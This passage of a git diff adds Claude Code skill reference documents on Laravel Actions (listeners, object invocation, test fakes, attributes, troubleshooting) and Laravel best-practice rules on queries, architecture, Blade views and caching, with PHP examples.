+- Emphasizes test focus on dispatch and action interaction.
+
+## Recommended pattern
+
+- Register action listener in `EventServiceProvider` (or project equivalent).
+- Use `asListener(Event $event)` for event adaptation.
+- Delegate core logic to `handle(...)`.
+
+## Methods used (`ListenerDecorator`)
+
+### `asListener`
+
+Called when executed as an event listener. If missing, it falls back to `handle(...)`.
+
+```php
+class SendOfferToNearbyDrivers
+{
+ use AsAction;
+
+ public function handle(Address $source, Address $destination): void
+ {
+ // ...
+ }
+
+ public function asListener(TaxiRequested $event): void
+ {
+ $this->handle($event->source, $event->destination);
+ }
+}
+```
+
+## Examples
+
+### Event registration
+
+```php
+// app/Providers/EventServiceProvider.php
+protected $listen = [
+ TaxiRequested::class => [
+ SendOfferToNearbyDrivers::class,
+ ],
+];
+```
+
+### Focused listener test
+
+```php
+use Illuminate\Support\Facades\Event;
+
+Event::fake();
+
+TaxiRequested::dispatch($source, $destination);
+
+Event::assertDispatched(TaxiRequested::class);
+```
+
+## Checklist
+
+- Event-to-listener mapping is registered.
+- Listener method signature matches event contract.
+- Listener tests verify dispatch and action interaction.
+
+## Common pitfalls
+
+- Assuming automatic listener registration when explicit mapping is required.
+- Re-implementing business logic in `asListener(...)`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-listener.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/object.md b/.claude/skills/laravel-actions/references/object.md
new file mode 100644
index 000000000..6a90be4d5
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/object.md
@@ -0,0 +1,118 @@
+# Object Entrypoint (`run`, `make`, DI)
+
+## Scope
+
+Use this reference when the action is invoked as a plain object.
+
+## Recap
+
+- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`.
+- Clarifies when to use static helpers versus DI/manual invocation.
+- Includes minimal examples for direct run and service-level injection.
+- Highlights boundaries: business logic stays in `handle(...)`.
+
+## Recommended pattern
+
+- Keep core business logic in `handle(...)`.
+- Prefer `Action::run(...)` for readability.
+- Use `Action::make()->handle(...)` or DI only when needed.
+
+## Methods provided
+
+### `make`
+
+Resolves the action from the container.
+
+```php
+PublishArticle::make();
+
+// Equivalent to:
+app(PublishArticle::class);
+```
+
+### `run`
+
+Resolves and executes the action.
+
+```php
+PublishArticle::run($articleId);
+
+// Equivalent to:
+PublishArticle::make()->handle($articleId);
+```
+
+### `runIf`
+
+Resolves and executes the action only if the condition is met.
+
+```php
+PublishArticle::runIf($shouldPublish, $articleId);
+
+// Equivalent mental model:
+if ($shouldPublish) {
+ PublishArticle::run($articleId);
+}
+```
+
+### `runUnless`
+
+Resolves and executes the action only if the condition is not met.
+
+```php
+PublishArticle::runUnless($alreadyPublished, $articleId);
+
+// Equivalent mental model:
+if (! $alreadyPublished) {
+ PublishArticle::run($articleId);
+}
+```
+
+## Checklist
+
+- Input/output types are explicit.
+- `handle(...)` has no transport concerns.
+- Business behavior is covered by direct `handle(...)` tests.
+
+## Common pitfalls
+
+- Putting HTTP/CLI/queue concerns in `handle(...)`.
+- Calling adapters from `handle(...)` instead of the reverse.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-object.html
+
+## Examples
+
+### Minimal object-style invocation
+
+```php
+final class PublishArticle
+{
+ use AsAction;
+
+ public function handle(int $articleId): bool
+ {
+ // Domain logic...
+ return true;
+ }
+}
+
+$published = PublishArticle::run(42);
+```
+
+### Dependency injection invocation
+
+```php
+final class ArticleService
+{
+ public function __construct(
+ private PublishArticle $publishArticle
+ ) {}
+
+ public function publish(int $articleId): bool
+ {
+ return $this->publishArticle->handle($articleId);
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/testing-fakes.md b/.claude/skills/laravel-actions/references/testing-fakes.md
new file mode 100644
index 000000000..97766e6ce
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/testing-fakes.md
@@ -0,0 +1,160 @@
+# Testing and Action Fakes
+
+## Scope
+
+Use this reference when isolating action orchestration in tests.
+
+## Recap
+
+- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`).
+- Clarifies when to assert execution versus non-execution.
+- Covers fake lifecycle checks/reset (`isFake`, `clearFake`).
+- Provides branch-oriented test examples for orchestration confidence.
+
+## Core methods
+
+- `mock()`
+- `partialMock()`
+- `spy()`
+- `shouldRun()`
+- `shouldNotRun()`
+- `allowToRun()`
+- `isFake()`
+- `clearFake()`
+
+## Recommended pattern
+
+- Test `handle(...)` directly for business rules.
+- Test entrypoints for wiring/orchestration.
+- Fake only at the boundary under test.
+
+## Methods provided (`AsFake` trait)
+
+### `mock`
+
+Swaps the action with a full mock.
+
+```php
+FetchContactsFromGoogle::mock()
+ ->shouldReceive('handle')
+ ->with(42)
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `partialMock`
+
+Swaps the action with a partial mock.
+
+```php
+FetchContactsFromGoogle::partialMock()
+ ->shouldReceive('fetch')
+ ->with('some_google_identifier')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `spy`
+
+Swaps the action with a spy.
+
+```php
+$spy = FetchContactsFromGoogle::spy()
+ ->allows('handle')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `shouldRun`
+
+Helper adding expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldReceive('handle');
+```
+
+### `shouldNotRun`
+
+Helper adding negative expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldNotRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldNotReceive('handle');
+```
+
+### `allowToRun`
+
+Helper allowing `handle` on a spy.
+
+```php
+$spy = FetchContactsFromGoogle::allowToRun()
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `isFake`
+
+Returns whether the action has been swapped with a fake.
+
+```php
+FetchContactsFromGoogle::isFake(); // false
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+```
+
+### `clearFake`
+
+Clears the fake instance, if any.
+
+```php
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+FetchContactsFromGoogle::clearFake();
+FetchContactsFromGoogle::isFake(); // false
+```
+
+## Examples
+
+### Orchestration test
+
+```php
+it('runs sync contacts for premium teams', function () {
+ SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue();
+
+ ImportTeamContacts::run(42, isPremium: true);
+});
+```
+
+### Guard-clause test
+
+```php
+it('does not run sync when integration is disabled', function () {
+ SyncGoogleContacts::shouldNotRun();
+
+ ImportTeamContacts::run(42, integrationEnabled: false);
+});
+```
+
+## Checklist
+
+- Assertions verify call intent and argument contracts.
+- Fakes are cleared when leakage risk exists.
+- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer.
+
+## Common pitfalls
+
+- Over-mocking and losing behavior confidence.
+- Asserting only dispatch, not business correctness.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-fake.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/troubleshooting.md b/.claude/skills/laravel-actions/references/troubleshooting.md
new file mode 100644
index 000000000..cf6a5800f
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/troubleshooting.md
@@ -0,0 +1,33 @@
+# Troubleshooting
+
+## Scope
+
+Use this reference when action wiring behaves unexpectedly.
+
+## Recap
+
+- Provides a fast triage flow for routing, queueing, events, and command wiring.
+- Lists recurring failure patterns and where to check first.
+- Encourages reproducing issues with focused tests before broad debugging.
+- Separates wiring diagnostics from domain logic verification.
+
+## Fast checks
+
+- Action class uses `AsAction`.
+- Namespace and autoloading are correct.
+- Entrypoint wiring (route, queue, event, command) is registered.
+- Method signatures and argument types match caller expectations.
+
+## Failure patterns
+
+- Controller route points to wrong class.
+- Queue worker/config mismatch.
+- Listener mapping not loaded.
+- Command signature mismatch.
+- Command not registered in the console kernel.
+
+## Debug checklist
+
+- Reproduce with a focused failing test.
+- Validate wiring layer first, then domain behavior.
+- Isolate dependencies with fakes/spies where appropriate.
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/with-attributes.md b/.claude/skills/laravel-actions/references/with-attributes.md
new file mode 100644
index 000000000..1b28cf2cb
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/with-attributes.md
@@ -0,0 +1,189 @@
+# With Attributes (`WithAttributes` trait)
+
+## Scope
+
+Use this reference when an action stores and validates input via internal attributes instead of method arguments.
+
+## Recap
+
+- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers).
+- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params).
+- Lists validation/authorization hooks reused from controller validation pipeline.
+- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`.
+
+## Methods provided (`WithAttributes` trait)
+
+### `setRawAttributes`
+
+Replaces all attributes with the provided payload.
+
+```php
+$action->setRawAttributes([
+ 'key' => 'value',
+]);
+```
+
+### `fill`
+
+Merges provided attributes into existing attributes.
+
+```php
+$action->fill([
+ 'key' => 'value',
+]);
+```
+
+### `fillFromRequest`
+
+Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide.
+
+```php
+$action->fillFromRequest($request);
+```
+
+### `all`
+
+Returns all attributes.
+
+```php
+$action->all();
+```
+
+### `only`
+
+Returns attributes matching the provided keys.
+
+```php
+$action->only('title', 'body');
+```
+
+### `except`
+
+Returns attributes excluding the provided keys.
+
+```php
+$action->except('body');
+```
+
+### `has`
+
+Returns whether an attribute exists for the given key.
+
+```php
+$action->has('title');
+```
+
+### `get`
+
+Returns the attribute value by key, with optional default.
+
+```php
+$action->get('title');
+$action->get('title', 'Untitled');
+```
+
+### `set`
+
+Sets an attribute value by key.
+
+```php
+$action->set('title', 'My blog post');
+```
+
+### `__get`
+
+Accesses attributes as object properties.
+
+```php
+$action->title;
+```
+
+### `__set`
+
+Updates attributes as object properties.
+
+```php
+$action->title = 'My blog post';
+```
+
+### `__isset`
+
+Checks attribute existence as object properties.
+
+```php
+isset($action->title);
+```
+
+### `validateAttributes`
+
+Runs authorization and validation using action attributes and returns validated data.
+
+```php
+$validatedData = $action->validateAttributes();
+```
+
+## Methods used (`AttributeValidator`)
+
+`WithAttributes` uses the same authorization/validation hooks as `AsController`:
+
+- `prepareForValidation`
+- `authorize`
+- `rules`
+- `withValidator`
+- `afterValidator`
+- `getValidator`
+- `getValidationData`
+- `getValidationMessages`
+- `getValidationAttributes`
+- `getValidationRedirect`
+- `getValidationErrorBag`
+- `getValidationFailure`
+- `getAuthorizationFailure`
+
+## Example
+
+```php
+class CreateArticle
+{
+ use AsAction;
+ use WithAttributes;
+
+ public function rules(): array
+ {
+ return [
+ 'title' => ['required', 'string', 'min:8'],
+ 'body' => ['required', 'string'],
+ ];
+ }
+
+ public function handle(array $attributes): Article
+ {
+ return Article::create($attributes);
+ }
+}
+
+$action = CreateArticle::make()->fill([
+ 'title' => 'My first post',
+ 'body' => 'Hello world',
+]);
+
+$validated = $action->validateAttributes();
+$article = $action->handle($validated);
+```
+
+## Checklist
+
+- Attribute keys are explicit and stable.
+- Validation rules match expected attribute shape.
+- `validateAttributes()` is called before side effects when needed.
+- Validation/authorization hooks are tested in focused unit tests.
+
+## Common pitfalls
+
+- Mixing attribute-based and argument-based flows inconsistently in the same action.
+- Assuming route params override request input in `fillFromRequest` (they do not).
+- Skipping `validateAttributes()` when using external input.
+
+## References
+
+- https://www.laravelactions.com/2.x/with-attributes.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/SKILL.md b/.claude/skills/laravel-best-practices/SKILL.md
new file mode 100644
index 000000000..99018f3ae
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/SKILL.md
@@ -0,0 +1,190 @@
+---
+name: laravel-best-practices
+description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Best Practices
+
+Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`.
+
+## Consistency First
+
+Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern.
+
+Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides.
+
+## Quick Reference
+
+### 1. Database Performance → `rules/db-performance.md`
+
+- Eager load with `with()` to prevent N+1 queries
+- Enable `Model::preventLazyLoading()` in development
+- Select only needed columns, avoid `SELECT *`
+- `chunk()` / `chunkById()` for large datasets
+- Index columns used in `WHERE`, `ORDER BY`, `JOIN`
+- `withCount()` instead of loading relations to count
+- `cursor()` for memory-efficient read-only iteration
+- Never query in Blade templates
+
+### 2. Advanced Query Patterns → `rules/advanced-queries.md`
+
+- `addSelect()` subqueries over eager-loading entire has-many for a single value
+- Dynamic relationships via subquery FK + `belongsTo`
+- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries
+- `setRelation()` to prevent circular N+1 queries
+- `whereIn` + `pluck()` over `whereHas` for better index usage
+- Two simple queries can beat one complex query
+- Compound indexes matching `orderBy` column order
+- Correlated subqueries in `orderBy` for has-many sorting (avoid joins)
+
+### 3. Security → `rules/security.md`
+
+- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates
+- No raw SQL with user input — use Eloquent or query builder
+- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes
+- Validate MIME type, extension, and size for file uploads
+- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields
+
+### 4. Caching → `rules/caching.md`
+
+- `Cache::remember()` over manual get/put
+- `Cache::flexible()` for stale-while-revalidate on high-traffic data
+- `Cache::memo()` to avoid redundant cache hits within a request
+- Cache tags to invalidate related groups
+- `Cache::add()` for atomic conditional writes
+- `once()` to memoize per-request or per-object lifetime
+- `Cache::lock()` / `lockForUpdate()` for race conditions
+- Failover cache stores in production
+
+### 5. Eloquent Patterns → `rules/eloquent.md`
+
+- Correct relationship types with return type hints
+- Local scopes for reusable query constraints
+- Global scopes sparingly — document their existence
+- Attribute casts in the `casts()` method
+- Cast date columns, use Carbon instances in templates
+- `whereBelongsTo($model)` for cleaner queries
+- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries
+
+### 6. Validation & Forms → `rules/validation.md`
+
+- Form Request classes, not inline validation
+- Array notation `['required', 'email']` for new code; follow existing convention
+- `$request->validated()` only — never `$request->all()`
+- `Rule::when()` for conditional validation
+- `after()` instead of `withValidator()`
+
+### 7. Configuration → `rules/config.md`
+
+- `env()` only inside config files
+- `App::environment()` or `app()->isProduction()`
+- Config, lang files, and constants over hardcoded text
+
+### 8. Testing Patterns → `rules/testing.md`
+
+- `LazilyRefreshDatabase` over `RefreshDatabase` for speed
+- `assertModelExists()` over raw `assertDatabaseHas()`
+- Factory states and sequences over manual overrides
+- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before
+- `recycle()` to share relationship instances across factories
+
+### 9. Queue & Job Patterns → `rules/queue-jobs.md`
+
+- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]`
+- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency
+- Always implement `failed()`; with `retryUntil()`, set `$tries = 0`
+- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs
+- Horizon for complex multi-queue scenarios
+
+### 10. Routing & Controllers → `rules/routing.md`
+
+- Implicit route model binding
+- Scoped bindings for nested resources
+- `Route::resource()` or `apiResource()`
+- Methods under 10 lines — extract to actions/services
+- Type-hint Form Requests for auto-validation
+
+### 11. HTTP Client → `rules/http-client.md`
+
+- Explicit `timeout` and `connectTimeout` on every request
+- `retry()` with exponential backoff for external APIs
+- Check response status or use `throw()`
+- `Http::pool()` for concurrent independent requests
+- `Http::fake()` and `preventStrayRequests()` in tests
+
+### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md`
+
+- Event discovery over manual registration; `event:cache` in production
+- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions
+- Queue notifications and mailables with `ShouldQueue`
+- On-demand notifications for non-user recipients
+- `HasLocalePreference` on notifiable models
+- `assertQueued()` not `assertSent()` for queued mailables
+- Markdown mailables for transactional emails
+
+### 13. Error Handling → `rules/error-handling.md`
+
+- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern
+- `ShouldntReport` for exceptions that should never log
+- Throttle high-volume exceptions to protect log sinks
+- `dontReportDuplicates()` for multi-catch scenarios
+- Force JSON rendering for API routes
+- Structured context via `context()` on exception classes
+
+### 14. Task Scheduling → `rules/scheduling.md`
+
+- `withoutOverlapping()` on variable-duration tasks
+- `onOneServer()` on multi-server deployments
+- `runInBackground()` for concurrent long tasks
+- `environments()` to restrict to appropriate environments
+- `takeUntilTimeout()` for time-bounded processing
+- Schedule groups for shared configuration
+
+### 15. Architecture → `rules/architecture.md`
+
+- Single-purpose Action classes; dependency injection over `app()` helper
+- Prefer official Laravel packages and follow conventions, don't override defaults
+- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety
+- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution
+
+### 16. Migrations → `rules/migrations.md`
+
+- Generate migrations with `php artisan make:migration`
+- `constrained()` for foreign keys
+- Never modify migrations that have run in production
+- Add indexes in the migration, not as an afterthought
+- Mirror column defaults in model `$attributes`
+- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes
+- One concern per migration — never mix DDL and DML
+
+### 17. Collections → `rules/collections.md`
+
+- Higher-order messages for simple collection operations
+- `cursor()` vs. `lazy()` — choose based on relationship needs
+- `lazyById()` when updating records while iterating
+- `toQuery()` for bulk operations on collections
+
+### 18. Blade & Views → `rules/blade-views.md`
+
+- `$attributes->merge()` in component templates
+- Blade components over `@include`; `@pushOnce` for per-component scripts
+- View Composers for shared view data
+- `@aware` for deeply nested component props
+
+### 19. Conventions & Style → `rules/style.md`
+
+- Follow Laravel naming conventions for all entities
+- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions
+- No JS/CSS in Blade, no HTML in PHP classes
+- Code should be readable; comments only for config files
+
+## How to Apply
+
+Always use a sub-agent to read rule files and explore this skill's content.
+
+1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10)
+2. Check sibling files for existing patterns — follow those first per Consistency First
+3. Verify API syntax with `search-docs` for the installed Laravel version
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/advanced-queries.md b/.claude/skills/laravel-best-practices/rules/advanced-queries.md
new file mode 100644
index 000000000..920714a14
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/advanced-queries.md
@@ -0,0 +1,106 @@
+# Advanced Query Patterns
+
+## Use `addSelect()` Subqueries for Single Values from Has-Many
+
+Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries.
+
+```php
+public function scopeWithLastLoginAt($query): void
+{
+ $query->addSelect([
+ 'last_login_at' => Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->withCasts(['last_login_at' => 'datetime']);
+}
+```
+
+## Create Dynamic Relationships via Subquery FK
+
+Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection.
+
+```php
+public function lastLogin(): BelongsTo
+{
+ return $this->belongsTo(Login::class);
+}
+
+public function scopeWithLastLogin($query): void
+{
+ $query->addSelect([
+ 'last_login_id' => Login::select('id')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->with('lastLogin');
+}
+```
+
+## Use Conditional Aggregates Instead of Multiple Count Queries
+
+Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values.
+
+```php
+$statuses = Feature::toBase()
+ ->selectRaw("count(case when status = 'Requested' then 1 end) as requested")
+ ->selectRaw("count(case when status = 'Planned' then 1 end) as planned")
+ ->selectRaw("count(case when status = 'Completed' then 1 end) as completed")
+ ->first();
+```
+
+## Use `setRelation()` to Prevent Circular N+1
+
+When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries.
+
+```php
+$feature->load('comments.user');
+$feature->comments->each->setRelation('feature', $feature);
+```
+
+## Prefer `whereIn` + Subquery Over `whereHas`
+
+`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory.
+
+Incorrect (correlated EXISTS re-executes per row):
+
+```php
+$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term));
+```
+
+Correct (index-friendly subquery, no PHP memory overhead):
+
+```php
+$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id'));
+```
+
+## Sometimes Two Simple Queries Beat One Complex Query
+
+Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index.
+
+## Use Compound Indexes Matching `orderBy` Column Order
+
+When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index.
+
+```php
+// Migration
+$table->index(['last_name', 'first_name']);
+
+// Query — column order must match the index
+User::query()->orderBy('last_name')->orderBy('first_name')->paginate();
+```
+
+## Use Correlated Subqueries for Has-Many Ordering
+
+When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading.
+
+```php
+public function scopeOrderByLastLogin($query): void
+{
+ $query->orderByDesc(Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1)
+ );
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/architecture.md b/.claude/skills/laravel-best-practices/rules/architecture.md
new file mode 100644
index 000000000..165056422
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/architecture.md
@@ -0,0 +1,202 @@
+# Architecture Best Practices
+
+## Single-Purpose Action Classes
+
+Extract discrete business operations into invokable Action classes.
+
+```php
+class CreateOrderAction
+{
+ public function __construct(private InventoryService $inventory) {}
+
+ public function execute(array $data): Order
+ {
+ $order = Order::create($data);
+ $this->inventory->reserve($order);
+
+ return $order;
+ }
+}
+```
+
+## Use Dependency Injection
+
+Always use constructor injection. Avoid `app()` or `resolve()` inside classes.
+
+Incorrect:
+```php
+class OrderController extends Controller
+{
+ public function store(StoreOrderRequest $request)
+ {
+ $service = app(OrderService::class);
+
+ return $service->create($request->validated());
+ }
+}
+```
+
+Correct:
+```php
+class OrderController extends Controller
+{
+ public function __construct(private OrderService $service) {}
+
+ public function store(StoreOrderRequest $request)
+ {
+ return $this->service->create($request->validated());
+ }
+}
+```
+
+## Code to Interfaces
+
+Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability.
+
+Incorrect (concrete dependency):
+```php
+class OrderService
+{
+ public function __construct(private StripeGateway $gateway) {}
+}
+```
+
+Correct (interface dependency):
+```php
+interface PaymentGateway
+{
+ public function charge(int $amount, string $customerId): PaymentResult;
+}
+
+class OrderService
+{
+ public function __construct(private PaymentGateway $gateway) {}
+}
+```
+
+Bind in a service provider:
+
+```php
+$this->app->bind(PaymentGateway::class, StripeGateway::class);
+```
+
+## Default Sort by Descending
+
+When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres.
+
+Incorrect:
+```php
+$posts = Post::paginate();
+```
+
+Correct:
+```php
+$posts = Post::latest()->paginate();
+```
+
+## Use Atomic Locks for Race Conditions
+
+Prevent race conditions with `Cache::lock()` or `lockForUpdate()`.
+
+```php
+Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) {
+ $order->process();
+});
+
+// Or at query level
+$product = Product::where('id', $id)->lockForUpdate()->first();
+```
+
+## Use `mb_*` String Functions
+
+When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters.
+
+Incorrect:
+```php
+strlen('José'); // 5 (bytes, not characters)
+strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte
+```
+
+Correct:
+```php
+mb_strlen('José'); // 4 (characters)
+mb_strtolower('MÜNCHEN'); // 'münchen'
+
+// Prefer Laravel's Str helpers when available
+Str::length('José'); // 4
+Str::lower('MÜNCHEN'); // 'münchen'
+```
+
+## Use `defer()` for Post-Response Work
+
+For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead.
+
+Incorrect (job overhead for trivial work):
+```php
+dispatch(new LogPageView($page));
+```
+
+Correct (runs after response, same process):
+```php
+defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()]));
+```
+
+Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work.
+
+## Use `Context` for Request-Scoped Data
+
+The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually.
+
+```php
+// In middleware
+Context::add('tenant_id', $request->header('X-Tenant-ID'));
+
+// Anywhere later — controllers, jobs, log context
+$tenantId = Context::get('tenant_id');
+```
+
+Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`.
+
+## Use `Concurrency::run()` for Parallel Execution
+
+Run independent operations in parallel using child processes — no async libraries needed.
+
+```php
+use Illuminate\Support\Facades\Concurrency;
+
+[$users, $orders] = Concurrency::run([
+ fn () => User::count(),
+ fn () => Order::where('status', 'pending')->count(),
+]);
+```
+
+Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially.
+
+## Convention Over Configuration
+
+Follow Laravel conventions. Don't override defaults unnecessarily.
+
+Incorrect:
+```php
+class Customer extends Model
+{
+ protected $table = 'Customer';
+ protected $primaryKey = 'customer_id';
+
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id');
+ }
+}
+```
+
+Correct:
+```php
+class Customer extends Model
+{
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class);
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/blade-views.md b/.claude/skills/laravel-best-practices/rules/blade-views.md
new file mode 100644
index 000000000..c6f8aaf1e
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/blade-views.md
@@ -0,0 +1,36 @@
+# Blade & Views Best Practices
+
+## Use `$attributes->merge()` in Component Templates
+
+Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly.
+
+```blade
+merge(['class' => 'alert alert-'.$type]) }}>
+ {{ $message }}
+
+```
+
+## Use `@pushOnce` for Per-Component Scripts
+
+If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once.
+
+## Prefer Blade Components Over `@include`
+
+`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots.
+
+## Use View Composers for Shared View Data
+
+If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it.
+
+## Use Blade Fragments for Partial Re-Renders (htmx/Turbo)
+
+A single view can return either the full page or just a fragment, keeping routing clean.
+
+```php
+return view('dashboard', compact('users'))
+ ->fragmentIf($request->hasHeader('HX-Request'), 'user-list');
+```
+
+## Use `@aware` for Deeply Nested Component Props
+
+Avoids re-passing parent props through every level of nested components.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/caching.md b/.claude/skills/laravel-best-practices/rules/caching.md
new file mode 100644
index 000000000..eb3ef3e62
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/caching.md
@@ -0,0 +1,70 @@
+# Caching Best Practices
+
+## Use `Cache::remember()` Instead of Manual Get/Put
+
+Atomic pattern prevents race conditions and removes boilerplate.
+
+Incorrect:
+```php
+$val = Cache::get('stats');
+if (! $val) {
+ $val = $this->computeStats();
+ Cache::put('stats', $val, 60);
+}
+```
+
+Correct:
+```php
+$val = Cache::remember('stats', 60, fn () => $this->computeStats());
+```
+
+## Use `Cache::flexible()` for Stale-While-Revalidate
+
+On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background.
+
+Incorrect: `Cache::remember('users', 300, fn () => User::all());`
+
+Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function.
+
+## Use `Cache::memo()` to Avoid Redundant Hits Within a Request
+
+If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory.
+
+`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5.
+
+## Use Cache Tags to Invalidate Related Groups
+
